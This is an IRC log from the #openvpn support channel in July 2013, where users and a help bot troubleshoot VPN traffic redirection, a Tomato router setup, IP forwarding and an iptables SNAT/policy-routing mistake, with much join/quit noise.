18:41 -!- Haroldo [~quassel@177.207.36.18.dynamic.adsl.gvt.net.br] has joined #openvpn
18:41 <+pekster> Unlikely if another host in your network can connect fine
18:41 < superkissen> anyways thanks for the help, i will try to solve it..
18:42 < superkissen> well..thats true.. my netbook runs same vpn fine, and this computer runs it fine on linux partition, but ever since reinstall it stopped working after i installed openvpn
18:43 < superkissen> cant quite wrap my head on whats different now and before the reinstall..
18:43 < Haroldo> hi guys
18:43 < Haroldo> im a no native english speaker
18:43 < Haroldo> and im having problems here
18:43 < Haroldo> well
18:43 < Haroldo> vpn works well
18:43 < Haroldo> through a proxy
18:44 < Haroldo> some programs doesnt take the internet connection from vpn
18:44 < Haroldo> how to solve that?
18:44 < Haroldo> windows user
18:45 < Haroldo> to force all the connections pass through vpn
18:45 <+pekster> !redirect
18:45 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
18:45 <@vpnHelper> http://ircpimps.org/redirect.png or (#5) flowchart mirror at http://pekster.sdf.org/misc/redirect.png
18:46 <+pekster> With --redirect-gateway and using the 'def1' argument (type "!def1" to learn about that) any traffic that is not for your local LAN will be routed through the VPN
18:49 -!- master_o1_master [~master_of@p4FF24C38.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
18:51 -!- master_of_master [~master_of@p4FF24C41.dip0.t-ipconnect.de] has joined #openvpn
18:52 -!- superkissen [~superkiss@90-229-184-44-no213.tbcn.telia.com] has quit []
18:54 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 245 seconds]
19:14 < Haroldo> only one big problem
19:14 < Haroldo> im using tomato router
19:14 < Haroldo> theres anyway to put it inside that?
19:16 <+pekster> Sure. Sadly, if you're using the "stock" configuration, they hide the real openvpn configuration behind silly menus and graphical interfaces
19:17 <+pekster> I'd recommend writing a traditional openvpn config file and call it with `openvpn --config /path/to/config.conf`, perhaps by writing an initscript that doesn't use the GUI-centric method
19:18 <+pekster> Maybe there's a checkbox for redirecting traffic, but that's a question for your distro support, since I have no desire to use tomatoWRT (I prefer OpenWRT, and I don't use any graphical frontend to that either)
19:21 -!- raidz is now known as raidz_away
19:40 < xTz> pekster: +1 for OpenWRT :)
19:41 < xTz> !def1
19:41 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
19:58 < Haroldo> # Automatically generated configuration
19:58 < Haroldo> daemon
19:58 < Haroldo> server 10.8.0.0 255.255.255.0
19:58 < Haroldo> proto tcp-server
19:58 < Haroldo> port 443
19:58 < Haroldo> dev tun21
19:58 < Haroldo> cipher AES-128-CBC
19:58 < Haroldo> comp-lzo adaptive
19:58 < Haroldo> keepalive 15 60
19:58 < Haroldo> verb 3
19:58 < Haroldo> push "route 192.168.1.0 255.255.255.0"
19:58 < Haroldo> push "dhcp-option DNS 192.168.1.1"
19:58 < Haroldo> push "redirect-gateway def1"
19:58 < Haroldo> ca ca.crt
19:58 < Haroldo> dh dh.pem
19:58 < Haroldo> cert server.crt
19:58 < Haroldo> key server.key
19:58 < Haroldo> status-version 2
19:58 < Haroldo> status status
19:58 < Haroldo> --------------------------------------------------
19:58 < Haroldo> i could find the conf here
19:59 < rob0> Do not flood the channel. That's what a pastebin is for.
19:59 < rob0> !paste
19:59 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
19:59 < Haroldo> ok
19:59 < Haroldo> thx
19:59 < Haroldo> i dont understand why if the redirect-gateway def1 is marked
20:00 < Haroldo> i cant go through some games
20:04 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
20:04 <+pekster> What do you mean by "can't go through some games" ?
20:05 <+pekster> It's possible certain websites or services (like game servers) have banned the VPN server's address range if other people have abused the service before
20:05 <+pekster> This is to be expected when you're effectively using a semi-public proxy
20:05 < Haroldo> humm
20:05 < Haroldo> thx a lot
20:06 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
20:10 -!- tharkun [~0@187.188.166.5] has joined #openvpn
20:12 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has quit [Quit: WeeChat 0.3.8]
20:13 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
20:14 -!- Haroldo [~quassel@177.207.36.18.dynamic.adsl.gvt.net.br] has quit [Remote host closed the connection]
20:16 -!- lamba_ is now known as lamba
20:16 -!- lamba [~lamba@siology.net] has quit [Changing host]
20:16 -!- lamba [~lamba@unaffiliated/lamba] has joined #openvpn
20:18 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
20:24 -!- tharkun [~0@187.188.166.5] has joined #openvpn
20:29 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
20:30 -!- tharkun [~0@187.188.166.5] has joined #openvpn
20:34 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
20:40 -!- tharkun [~0@187.188.166.5] has joined #openvpn
20:42 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
20:46 -!- Haroldo [~quassel@177.207.36.18.dynamic.adsl.gvt.net.br] has joined #openvpn
20:46 -!- Haroldo [~quassel@177.207.36.18.dynamic.adsl.gvt.net.br] has quit [Remote host closed the connection]
20:47 -!- Haroldo [~quassel@177.207.36.18.dynamic.adsl.gvt.net.br] has joined #openvpn
20:47 -!- tharkun [~0@187.188.166.5] has joined #openvpn
20:49 -!- Haroldo [~quassel@177.207.36.18.dynamic.adsl.gvt.net.br] has quit [Read error: Connection reset by peer]
20:50 -!- zampa_ [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has quit [Ping timeout: 240 seconds]
20:53 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
20:59 -!- tharkun [~0@187.188.166.5] has joined #openvpn
21:11 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
21:13 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
21:17 < SuperLag> pekster: I had to dig through the Windows Registry... but there *was* a config file that did the trick. It's just buried.
21:18 < SuperLag> pekster: is auth-user-pass the option that gives you the challenge response to enter your creds in?
21:19 -!- tharkun [~0@187.188.166.5] has joined #openvpn
21:20 <+pekster> Yes. See the manpage for details
21:23 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
21:26 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:27 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:28 -!- tharkun [~0@187.188.166.5] has joined #openvpn
21:30 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
21:33 -!- TomM [carrot@unaffiliated/tommehm] has quit [Ping timeout: 240 seconds]
21:33 -!- tharkun [~0@187.188.166.5] has joined #openvpn
21:34 -!- TomM [carrot@unaffiliated/tommehm] has joined #openvpn
21:35 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 240 seconds]
21:35 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
21:38 -!- tharkun [~0@187.188.166.5] has joined #openvpn
21:42 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
21:43 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has joined #openvpn
21:45 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
21:46 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
21:48 -!- tharkun [~0@187.188.166.5] has joined #openvpn
21:51 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
21:56 -!- tharkun [~0@187.188.166.5] has joined #openvpn
21:58 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
22:01 -!- tharkun [~0@187.188.166.5] has joined #openvpn
22:01 -!- dropje_ [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:04 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
22:09 -!- tharkun [~0@187.188.166.5] has joined #openvpn
22:12 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
22:14 -!- tharkun [~0@187.188.166.5] has joined #openvpn
22:20 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
22:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:26 -!- tharkun [~0@187.188.166.5] has joined #openvpn
22:28 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
22:31 -!- tharkun [~0@187.188.166.5] has joined #openvpn
22:34 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
22:36 -!- tharkun [~0@187.188.166.5] has joined #openvpn
22:38 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
22:41 -!- tharkun [~0@187.188.166.5] has joined #openvpn
22:44 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
22:49 -!- tharkun [~0@187.188.166.5] has joined #openvpn
22:51 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
22:54 -!- tharkun [~0@187.188.166.5] has joined #openvpn
22:58 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
23:03 -!- tharkun [~0@187.188.166.5] has joined #openvpn
23:07 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
23:13 -!- tharkun [~0@187.188.166.5] has joined #openvpn
23:15 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
23:20 -!- tharkun [~0@187.188.166.5] has joined #openvpn
23:22 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
23:26 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
23:30 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
23:35 -!- tharkun [~0@187.188.166.5] has joined #openvpn
23:37 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
23:43 -!- tharkun [~0@187.188.166.5] has joined #openvpn
23:46 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
23:51 -!- tharkun [~0@187.188.166.5] has joined #openvpn
--- Day changed Wed Jul 17 2013
00:00 -!- Muffins [~Nicholas@host-98-127-85-158.lar-wy.client.bresnan.net] has joined #openvpn
00:03 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
00:09 -!- tharkun [~0@187.188.166.5] has joined #openvpn
00:13 <@krzee> SuperLag, yes
00:13 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
00:14 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
00:17 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 240 seconds]
00:19 <@krzee> !logs
00:19 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
00:19 <@krzee> !logfile
00:19 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
00:19 -!- tharkun [~0@187.188.166.5] has joined #openvpn
00:19 <@krzee> oh meh
00:19 <@krzee> !configs
00:19 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
00:20 <@krzee> ecrist, website is down
00:24 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
00:25 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
00:29 -!- Muffins [~Nicholas@host-98-127-85-158.lar-wy.client.bresnan.net] has quit [Read error: Connection reset by peer]
00:29 -!- tharkun [~0@187.188.166.5] has joined #openvpn
00:31 -!- monk [~aknm@196.14.139.96] has joined #openvpn
00:31 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
00:31 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:34 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
00:34 -!- tharkun [~0@187.188.166.5] has joined #openvpn
00:38 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
00:44 -!- tharkun [~0@187.188.166.5] has joined #openvpn
00:48 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
00:49 -!- tharkun [~0@187.188.166.5] has joined #openvpn
00:50 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
00:56 -!- tharkun [~0@187.188.166.5] has joined #openvpn
00:58 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
01:04 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:08 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
01:10 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Quit: Konversation terminated!]
01:13 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:17 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
01:18 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:23 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:25 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
01:28 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:29 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
01:30 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
01:33 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:34 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
01:35 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
01:38 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:42 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
01:44 -!- TomM [carrot@unaffiliated/tommehm] has quit [Disconnected by services]
01:44 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
01:48 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:52 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
01:57 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:58 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
01:59 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
02:05 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:07 -!- mattock2 [~yaaic@dyn55-83.yok.fi] has joined #openvpn
02:07 -!- mattock2 [~yaaic@dyn55-83.yok.fi] has quit [Client Quit]
02:07 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:09 -!- mattock_ [~yaaic@dyn55-83.yok.fi] has joined #openvpn
02:10 -!- Scub [~ae@shellie.darchoods.net] has joined #openvpn
02:10 -!- mattock_ [~yaaic@dyn55-83.yok.fi] has quit [Client Quit]
02:11 <@krzee> !linipforward
02:11 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
02:14 -!- Netsplit *.net <-> *.split quits: Scub_, dxtr, DrCode, nantou
02:16 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
02:16 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:21 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
02:22 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
02:28 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
02:28 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:30 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:31 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
02:33 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:36 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
02:38 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:40 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
02:41 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
02:43 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:48 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
02:51 <@krzee> pekster, are you free to help me a sec on linux policy routing?
02:51 <@krzee> i finally have everything correct for routing, except the router itself has no internet connection
02:51 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
02:52 <+pekster> krzee: If you're brief; I'm about to get some sleep, but maybe it's an easy-to-spot issue
02:53 <+pekster> You have `ip rule show` and `ip route show table all` (or at least relevant tables) up somewhere?
02:53 <@krzee> i will in a moment
02:53 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:55 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
02:57 <@krzee> pekster, http://pastebin.com/6pArT2Tn
02:59 <@krzee> my current problem is with the router (192.168.0.52 / 10.0.0.210 reaching the internet, should go out 10.0.0.254)
03:00 <+pekster> And it's going out 192.168.0.1, right?
03:01 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:01 <@krzee> if so the return packets arent getting to me or something
03:01 <@krzee> cause everything just times out
03:02 <@krzee> however, all routing between subnets and natting is working correctly
03:02 <+pekster> ip rule matches aren't "most specific" like routing masks are
03:02 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
03:03 <+pekster> So 'from 10/24' matches before '10.0.0.200' does, sending it to 'sat' when you probably expect it to go to 'main'
03:05 <+pekster> If the rule with priority 32761 was given a lower priority (say 100) it'll be checked first. As it stands now that rule is pointless since it'll never match a packet that the priority 32760 rule didn't
03:06 <@krzee> http://pastebin.com/k636myzJ
03:06 <@krzee> and did a ip route flush cache after, still cant ping 8.8.8.8
03:07 <+pekster> Right, same problem
03:07 <+pekster> They're sorted in the order they're consulted
03:07 <+pekster> Oh, you reversed them (it's late...)
03:08 <@krzee> ya i deleted and readded so it would get bumped up
03:08 <+pekster> Oh, then you SNAT them to 192.168.0.52 :P
03:08 <+pekster> heh
03:08 <+pekster> don't do that
03:08 <+pekster> Source will match 10/24
03:08 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:09 <@krzee> it should have source 10.0.0.210
03:09 <+pekster> Either add an explicit -j RETURN for that host, or re-think how you're doing NAT
03:09 <+pekster> Not with those rules it won't
03:09 <@krzee> -A SourceNat -d 10.0.0.0/8 -j RETURN
03:09 <@krzee> that escapes the nat
03:09 <+pekster> -d is destination
03:09 <+pekster> Not source
03:09 <+pekster> 8.8.8.8 != 10/8
03:09 <+pekster> -s 10/24 matches, it goes to the 'SourceNat' chain
03:09 <+pekster> That then matches the SNAT rule after failing to match the -d $whatever rules
03:09 <@krzee> ohhhh
03:09 <+pekster> Again, don't do that if you don't want it
03:10 <+pekster> Fix that and it'll work
03:10 <+pekster> Bedtime nwo
03:10 <@krzee> thanks man!
03:10 <@krzee> i need a -s 10.0.0.210/32 -j RETURN
03:12 <@krzee> pekster++
03:13 <@krzee> that was it!
03:19 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
03:19 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:28 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
03:34 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:35 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
03:37 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
03:39 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:42 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
03:47 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:50 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
03:56 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:58 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
04:02 -!- lbft is now known as Wote
04:04 -!- Wote is now known as lbft
04:04 -!- tharkun [~0@187.188.166.5] has joined #openvpn
04:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
04:08 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
04:12 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:13 -!- tharkun [~0@187.188.166.5] has joined #openvpn
04:17 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
04:17 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
04:22 -!- tharkun [~0@187.188.166.5] has joined #openvpn
04:28 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
04:28 -!- tharkun [~0@187.188.166.5] has joined #openvpn
04:30 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
04:35 -!- tharkun [~0@187.188.166.5] has joined #openvpn
04:38 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
04:43 -!- tharkun [~0@187.188.166.5] has joined #openvpn
04:46 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
04:52 -!- tharkun [~0@187.188.166.5] has joined #openvpn
04:56 -!- danfromuk [~androirc@unaffiliated/danfromuk] has joined #openvpn
05:00 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
05:00 < danfromuk> Hi, some of my users are subject to port blocking by their ISPs so i want to set up an openvpn server for them. However i want to ensure they can only access the publicly available services. ie. they services that ive allowed through the firewall. Whats the best way to do this?
05:01 < danfromuk> Bearing in mind that once they dial in to the vpn, theyll be given a private ip behind the firewall.
05:03 -!- mattock is now known as mattock_afk
05:05 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:10 -!- danfromuk [~androirc@unaffiliated/danfromuk] has quit [Quit: AndroIRC - Android IRC Client ( http://www.androirc.com )]
05:10 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
05:10 -!- danfromuk [~IceChat77@unaffiliated/danfromuk] has joined #openvpn
05:16 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:16 < fischli> danfromuk: install dedicated iptables rules on linux based systems to control your traffic
05:19 < danfromuk> Is it possible to have the openvpn server placed outside of the existing firewall?
05:19 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
05:20 -!- xBytez [~xbytez@xbytez.xxx] has quit [Ping timeout: 252 seconds]
05:21 -!- xBytez [~xbytez@xbytez.xxx] has joined #openvpn
05:23 < fischli> danfromuk: doesn't matter, but if you want to control the traffic through your vpn, you should also install a firewall in front of the tunnel endpoint
05:25 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:28 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
05:33 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:36 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
05:36 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
05:41 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
05:41 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Connection reset by peer]
05:42 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:45 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
05:46 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
05:46 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
05:52 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:54 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
05:56 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
05:57 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:02 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
06:02 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:04 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
06:04 -!- danfromuk [~IceChat77@unaffiliated/danfromuk] has quit [Quit: Life without danger is a waste of oxygen]
06:05 -!- kristijanlecnik [~kristijan@BSN-77-34-66.static.dsl.siol.net] has joined #openvpn
06:05 -!- kristijanlecnik [~kristijan@BSN-77-34-66.static.dsl.siol.net] has left #openvpn []
06:09 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
06:10 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:12 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
06:18 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:21 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
06:22 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
06:27 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:29 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
06:32 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:34 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
06:40 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:41 -!- gffa [~unknown@524895DD.cm-4-1c.dynamic.ziggo.nl] has joined #openvpn
06:41 -!- gffa [~unknown@524895DD.cm-4-1c.dynamic.ziggo.nl] has quit [Changing host]
06:41 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:43 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
06:44 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
06:45 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
06:49 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:50 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
06:53 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
06:58 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:00 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:04 -!- matkor [~matkor@host93179197152.static.3s.pl] has joined #openvpn
07:05 < matkor> Hi!   I am trying to emulate local network segment using OpenVPN. 1) Can single client have many IP# assinged?
07:05 < matkor> 2) Can server have many IP# assinged?
07:05 < matkor> TIA
07:06 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:08 < Dar1us> matkor: if you want to pretend that the clients are on a LAN then oyu need layer 2 bridging
07:08 < Dar1us> in theory openvon can do it
07:08 < Dar1us> but noone here seems to use it :(
07:09 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:10 < matkor> Dar1us: Yeah, I am reading ethernet-bridging chapters of VPN now ...
07:12 < matkor> Dar1us: So there is no option for multiple IP# assignemetns? Like  ifconfig-push 10.0.0.8 10.0.0.9  10.0.0.1 ?
07:15 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:15 < matkor> I am thinking about running multple openvpn clients getting different IP# ...
07:16 < matkor> And even adding client on server machine ;)
07:19 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:24 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:25 < Dar1us> matkor: I dunno, I suppose you could assign what addresses you like on the clients using a script
07:27 <@ecrist> krzee: it's back online
07:27 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:29 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:32 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:32 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Textual IRC Client: www.textualapp.com]
07:38 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:39 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:45 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:48 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:49 -!- xBytez [~xbytez@xbytez.xxx] has quit [Ping timeout: 240 seconds]
